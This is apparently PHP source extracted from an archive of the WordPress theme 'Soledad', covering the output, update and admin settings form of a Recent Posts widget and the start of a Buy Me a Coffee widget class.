									<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
                                </div>
                            </div>
                        </li>
						<?php $num ++; endwhile; ?>
                </ul>
				<?php

				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn penci-wgajx-btn next"><span
                                    class="pcnav-title"><?php echo penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
				}
				$attrstyle = '';
				if ( $ptfsfe ) {
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . ' li.featured-news .side-item .side-item-text h4 a{ font-size: ' . $ptfsfe . 'px; }';
				}
				if ( $ptfs ) {
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . ' li:not(.featured-news) .side-item .side-item-text h4 a{ font-size: ' . $ptfs . 'px; }';
				}
				if ( $pmfs ) {
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . ' li .side-item .side-item-text .side-item-meta{ font-size: ' . $pmfs . 'px; }';
				}
				if ( $imgwidth ) {
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . ' li .penci-image-holder.small-fix-size{ width: ' . $imgwidth . 'px; }';
				}
				if ( $row_gap ) {
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . '.side-newsfeed:not(.penci-feed-2columns) li{ margin-bottom: ' . $row_gap . 'px; padding-bottom: ' . $row_gap . 'px; }';
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . '.penci-feed-2columns li{ margin-bottom: ' . $row_gap . 'px; }';
				}
				if ( $image_type == 'horizontal' ) {
					$attrstyle .= '#penci-latestwg-' . $rand . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
				} elseif ( $image_type == 'square' ) {
					$attrstyle .= '#penci-latestwg-' . $rand . ' .penci-image-holder:before{ padding-top: 100%; }';
				} elseif ( $image_type == 'vertical' ) {
					$attrstyle .= '#penci-latestwg-' . $rand . ' .penci-image-holder:before{ padding-top: 135.4%; }';
				}

				if ( $attrstyle ) {
					echo '<style type="text/css">' . $attrstyle . '</style>';
				}

				/* After widget (defined by themes). */
				echo ent2ncr( $after_widget );

				wp_reset_postdata();
			endif;
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'          => esc_html__( 'Recent Posts', 'soledad' ),
				'hide_thumb'     => false,
				'movemeta'       => false,
				'ptype'          => '',
				'taxonomy'       => '',
				'tax_ids'        => '',
				'dotstyle'       => '',
				'sticky'         => true,
				'show_author'    => false,
				'show_comment'   => false,
				'show_postviews' => false,
				'ordernum'       => false,
				'showborder'     => false,
				'row_gap'        => '',
				'imgwidth'       => '',
				'ptfsfe'         => '',
				'ptfs'           => '',
				'orderby'        => 'date',
				'order'          => 'DESC',
				'pmfs'           => '',
				'image_type'     => 'default',
				'title_length'   => '',
				'number'         => 5,
				'offset'         => '',
				'query_cat'  	 => '',
				'categories'     => '',
				'ajaxnav'        => '',
				'metakey'        => '',
				'featured'       => false,
				'allfeatured'    => false,
				'thumbright'     => false,
				'twocolumn'      => false,
				'featured2'      => false,
				'postdate'       => false,
				'icon'           => false,
			);

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <style>span.description {
                    font-style: italic;
                    font-size: 13px;
                }</style>
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $cats_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_categories( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $cats_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $tags_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_tags( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $tags_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Custom Post Type -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"><?php esc_html_e( 'Query for Custom Post Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ptype' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ptype'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( '- Default( Posts ) -', 'soledad' ); ?></option>
					<?php $all_post_types = get_post_types( array(
						'public'            => true,
						'show_in_nav_menus' => true
					), 'objects' );
					unset( $all_post_types['post'] );
					if ( ! empty( $all_post_types ) ) {
						foreach ( $all_post_types as $p_type => $ptobject ) {
							?>
                            <option value='<?php echo esc_attr( $p_type ); ?>' <?php if ( $p_type == $instance['ptype'] ) {
								echo 'selected="selected"';
							} ?>><?php echo $ptobject->label; ?></option>
						<?php }
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"><?php esc_html_e( 'Custom taxonomies to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'taxonomy' ) ); ?>"
                       value="<?php echo esc_attr( $instance['taxonomy'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy slug(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"><?php esc_html_e( 'Taxonomy IDs to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'tax_ids' ) ); ?>"
                       value="<?php echo esc_attr( $instance['tax_ids'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy ID(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"><?php esc_html_e( 'Query Posts Within Current Category?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'query_cat' ) ); ?>" <?php checked( (bool) $instance['query_cat'], true ); ?> /><br>
                <span class="description"><?php _e( 'When this widget is viewed on a category page, the post query will automatically use the current category\'s slug or ID', 'soledad' ); ?></span>
            </p>
			
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"><?php esc_html_e( 'Ignore Sticky Posts?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'sticky' ) ); ?>" <?php checked( (bool) $instance['sticky'], true ); ?> /><br>
                <span class="description"><?php _e( 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ); ?></span>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='ID' <?php if ( 'ID' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts ID', 'soledad' ); ?></option>
                    <option value='title' <?php if ( 'title' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts Titles', 'soledad' ); ?></option>
                    <option value='modified' <?php if ( 'modified' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Modified Date', 'soledad' ); ?></option>
                    <option value='comment_count' <?php if ( 'comment_count' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Comment Count', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
					<option value='metakey' <?php if ( 'metakey' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Custom Meta Key', 'soledad' ); ?></option>
                </select>
            </p>

			<!-- Custom Meta Key -->
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"><?php esc_html_e( 'Custom Meta Key:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'metakey' ) ); ?>"
                       value="<?php echo esc_attr( $instance['metakey'] ); ?>"/>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Custom trim post titles -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom words length for post titles:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If your post titles is too long - You can use this option for trim it. Fill number value here.</span>
            </p>

            <!-- Ajax Post Navigation -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"><?php esc_html_e( 'Ajax Posts Navigation?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ajaxnav' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='nav' <?php if ( 'nav' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Next/Previous Button', 'soledad' ); ?></option>
                    <option value='btn' <?php if ( 'btn' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Load More Button', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Timeline dots style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"><?php esc_html_e( 'Show Timeline Dots?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'dotstyle' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='s1' <?php if ( 's1' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Color Style', 'soledad' ); ?></option>
                    <option value='s2' <?php if ( 's2' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Hover Style', 'soledad' ); ?></option>
                    <option value='s3' <?php if ( 's3' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Animation Style', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Move post meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"><?php esc_html_e( 'Move post meta to display above post title?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'movemeta' ) ); ?>" <?php checked( (bool) $instance['movemeta'], true ); ?> />
            </p>

            <!-- Display thumbnail right -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"><?php esc_html_e( 'Hide thumbnail(Featured Image)?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_thumb' ) ); ?>" <?php checked( (bool) $instance['hide_thumb'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"><?php esc_html_e( 'Display thumbnail on right?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'thumbright' ) ); ?>" <?php checked( (bool) $instance['thumbright'], true ); ?> />
            </p>

            <!-- 2 Columns -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"><?php esc_html_e( 'Display on 2 columns?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'twocolumn' ) ); ?>" <?php checked( (bool) $instance['twocolumn'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use 2 columns option, it will ignore option display thumbnail on right.</span>
            </p>

            <!-- Display latest post featured -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"><?php esc_html_e( 'Display 1st post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured' ) ); ?>" <?php checked( (bool) $instance['featured'], true ); ?> />
            </p>

            <!-- Display latest post featured style 2 -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"><?php esc_html_e( 'Display featured post style 2?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured2' ) ); ?>" <?php checked( (bool) $instance['featured2'], true ); ?> />
            </p>

            <!-- Display big post -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"><?php esc_html_e( 'Display all post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'allfeatured' ) ); ?>" <?php checked( (bool) $instance['allfeatured'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.</span>
            </p>

            <!-- Post Meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"><?php esc_html_e( 'Show Author Name?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_author' ) ); ?>" <?php checked( (bool) $instance['show_author'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'postdate' ) ); ?>" <?php checked( (bool) $instance['postdate'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"><?php esc_html_e( 'Show Comment Count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_comment' ) ); ?>" <?php checked( (bool) $instance['show_comment'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"><?php esc_html_e( 'Show Post Views?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_postviews' ) ); ?>" <?php checked( (bool) $instance['show_postviews'], true ); ?> />
            </p>

            <!-- Enable post format icon -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"><?php esc_html_e( 'Show icon post format?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'icon' ) ); ?>" <?php checked( (bool) $instance['icon'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"><?php esc_html_e( 'Show the order numbers?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ordernum' ) ); ?>" <?php checked( (bool) $instance['ordernum'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"><?php esc_html_e( 'Remove Border at The Bottom?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'showborder' ) ); ?>" <?php checked( (bool) $instance['showborder'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"><?php esc_html_e( 'Rows Gap Between Post Items ( Default: 20 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'row_gap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['row_gap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"><?php esc_html_e( 'Custom Image Width ( Default: 120 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imgwidth' ) ); ?>"
                       value="<?php echo esc_attr( $instance['imgwidth'] ); ?>" size="3"/>
                <span class="description"
                      style="display: block; padding: 0;font-size: 12px;"><?php esc_html_e( 'This option doesn\'t apply for featured posts. It should be between 80 to 200.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"><?php esc_html_e( 'Post Title Font Size on Featured Posts ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfsfe' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfsfe'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 16 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 13 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\kX8  8    widgets/buymeacoffee.phpnu [        <?php

add_action( 'widgets_init', 'penci_buymeacoffee_load_widget' );

function penci_buymeacoffee_load_widget() {
	register_widget( 'penci_buymeacoffee_widget' );
}

if ( ! class_exists( 'penci_buymeacoffee_widget' ) ) {
	class penci_buymeacoffee_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_buymeacoffee_widget',
				'description' => esc_html__( 'A widget that displays the Buy Me a Coffee account information.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_buymeacoffee_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_buymeacoffee_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Buy Me a Coffee', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_buymeacoffee_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Buy Me a Coffee', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
